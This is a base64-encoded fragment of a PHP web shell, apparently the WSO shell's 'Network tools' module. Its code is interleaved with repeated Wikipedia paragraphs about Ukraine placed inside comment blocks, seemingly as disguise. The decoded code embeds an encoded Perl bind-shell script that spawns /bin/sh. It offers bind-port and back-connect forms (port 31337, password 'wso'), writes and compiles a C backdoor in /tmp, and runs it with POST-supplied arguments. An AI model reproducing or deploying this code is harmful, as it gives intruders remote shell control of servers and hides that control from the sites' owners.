NvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8JJGJpbmRfcG9ydF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRb2tVMGhGVEV3OUlpOWlhVzR2YzJnZ0xXa2lPdzBLYVdZZ0tFQkJVa2RXSUR3Z01Ta2dleUJsZUdsMEtERXBPeUI5RFFwMWMyVWdVMjlqYTJWME93MEtjMjlqYTJWMEtGTXNKbEJHWDBsT1JWUXNKbE5QUTB0ZlUxUlNSVUZOTEdkbGRIQnliM1J2WW5sdVlXMWxLQ2QwWTNBbktTa2dmSHdnWkdsbElDSkRZVzUwSUdOeVpXRjBaU0J6YjJOclpYUmNiaUk3RFFwelpYUnpiMk5yYjNCMEtGTXNVMDlNWDFOUFEwdEZWQ3hUVDE5U1JWVlRSVUZFUkZJc01TazdEUXBpYVc1a0tGTXNjMjlqYTJGa1pISmZhVzRvSkVGU1IxWmJNRjBzU1U1QlJFUlNYMEZPV1NrcElIeDhJR1JwWlNBaVEyRnVkQ0J2Y0dWdUlIQnZjblJjYmlJN0RRcHNhWE4wWlc0b1V5d3pLU0I4ZkNCa2FXVWdJa05oYm5RZ2JHbHpkR1Z1SUhCdmNuUmNiaUk3RFFwM2FHbHNaU2d4S1NCN0RRb0pZV05qWlhCMEtFTlBUazRzVXlrN0RRb0phV1lvSVNna2NHbGtQV1p2Y21zcEtTQjdEUW9KQ1dScFpTQWlRMkZ1Ym05MElHWnZjbXNpSUdsbUlDZ2haR1ZtYVc1bFpDQWtjR2xrS1RzTkNna0piM0JsYmlCVFZFUkpUaXdpUENaRFQwNU9JanNOQ2drSmIzQmxiaUJUVkVSUFZWUXNJajRtUTA5T1RpSTdEUW9KQ1c5d1pXNGdVMVJFUlZKU0xDSStKa05QVGs0aU93MEtDUWxsZUdWaklDUlRTRVZNVENCOGZDQmthV1VnY0hKcGJuUWdRMDlPVGlBaVEyRnVkQ0JsZUdWamRYUmxJQ1JUU0VWTVRGeHVJanNOQ2drSlkyeHZjMlVnUTA5T1Rqc05DZ2tKWlhocGRDQXdPdzBLQ1gwTkNuMD0iOwoJPz4KCTxoMT5OZXR3b3JrIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+Cgk8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0PSJnKG51bGwsbnVsbCx0aGlzLnVzaW5nLnZhbHVlLHRoaXMucG9ydC52YWx1ZSx0aGlzLnBhc3MudmFsdWUpO3JldHVybiBmYWxzZTsiPgoJPHNwYW4+QmluZCBwb3J0IHRvIC9iaW4vc2g8L3NwYW4+PGJyLz4KCVBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nMzEzMzcnPiBQYXNzd29yZDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3Bhc3MnIHZhbHVlPSd3c28nPiBVc2luZzogPHNlbGVjdCBuYW1lPSJ1c2luZyI+PG9wdGlvbiB2YWx1ZT0nYnBjJz5DPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nYnBwJz5QZXJsPC9vcHRpb24+PC9zZWxlY3Q+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPgoJPC9mb3JtPgoJPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD0iZyhudWxsLG51bGwsdGhpcy51c2luZy52YWx1ZSx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTsiPgoJPHNwYW4+QmFjay1jb25uZWN0IHRvPC9zcGFuPjxici8+CglTZXJ2ZXI6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzZXJ2ZXInIHZhbHVlPSc8Pz0kX1NFUlZFUlsnUkVNT1RFX0FERFInXT8+Jz4gUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSczMTMzNyc+IFVzaW5nOiA8c2VsZWN0IG5hbWU9InVzaW5nIj48b3B0aW9uIHZhbHVlPSdiY2MnPkM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdiY3AnPlBlcmw8L29wdGlvbj48L3NlbGVjdD4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+Cgk8L2Zvcm0+PGJyPgoJPD9waHAKCWlmKGlzc2V0KCRfUE9TVFsncDEnXSkpIHsKCQlmdW5jdGlvbiBjZigkZiwkdCkgewoJCQkkdz1AZm9wZW4oJGYsInciKSBvciBAZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpOwoJCQlpZigkdykJewoJCQkJQGZ3cml0ZSgkdyxAYmFzZTY0X2RlY29kZSgkdCkpIG9yIEBmcHV0cygkdyxAYmFzZTY0X2RlY29kZSgkdCkpIG9yIEBmaWxlX3B1dF9jb250ZW50cygkZixAYmFzZTY0X2RlY29kZSgkdCkpOwoJCQkJQGZjbG9zZSgkdyk7CgkJCX0KCQl9CgkJaWYoJF9QT1NUWydwMSddID09ICdicGMnKSB7CgkJCWNmKCIvdG1wL2JwLmMiLCRiaW5kX3BvcnRfYyk7CgkJCSRvdXQgPSBleCgiZ2NjIC1vIC90bXAvYnAgL3RtcC9icC5jIik7CgkJCUB1bmxpbmsoIi90bXAvYnAuYyIpOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJJG91dCAuPSBleCgiL3RtcC9icCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOwoJCQllY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLmV4KCJwcyBhdXggfCBncmVwIGJwIikuIjwvcHJlPiI7CgkJfQoJCWlmKCRfUE9TVFsncDEnXSA9PSAnYnBwJykgewoJCQljZigiL3RtcC9icC5wbCIsJGJpbmRfcG9ydF9wKTsKCQkJJG91dCA9IGV4KHdoaWNoKCJwZXJsIikuIiAvdG1wL2JwLnBsICIuJF9QT1NUWydwMiddLiIgJiIpOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdG